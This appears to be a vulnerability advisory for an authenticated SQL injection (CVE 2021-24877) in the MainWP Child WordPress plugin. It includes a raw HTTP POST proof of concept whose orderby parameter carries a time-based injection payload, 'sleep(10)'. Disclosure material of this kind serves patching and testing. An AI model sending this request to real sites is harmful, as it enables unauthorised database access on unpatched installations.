MainWP Child < 4.1.8 – Admin+ SQL Injection | CVE 2021-24877

Description

The plugin does not validate the orderby and order parameter before using them in a SQL statement, leading to an SQL injection exploitable by high privilege users such as admin when the Backup and Staging by WP Time Capsule plugin is installed

Proof of Concept

POST / HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 483

mainwpsignature=si0XH%2BJ%2FLqjlNIbCTuG06uNC%2FNKuv4izJ0lvzYB7bMbNGdRz4un1XDVNMXtblqNeqqF42L1ULDtBhDzGSDgF48RXB5RD4txw9psh3umFdCQYutoFT%2BiluMKxKFUim5L%2Fl3eRTBWIPk4tjNc06amtYzHcwKctIQEzwmnMEtowqK%2BNJmaEQjho185hAtX5rm9QYQmfupIYXHl8pNfPH910x2XMqmuZGWQI%2FC0KwkG%2BfapYWJUWhsTlaBwX7fINW9U7JLvHOr7dN2E80q6wattMEnS%2Fq0pmhCg6mG9Zpq9Q1kIgHP25UJSVkRdBAfcdun4lKPq9pcxmcNVUHcfkWBnkSA%3D%3D&nonce=1111&nossl=0&function=time_capsule&mwp_action=get_logs_rows&orderby=1+and+sleep(10)--+-&order=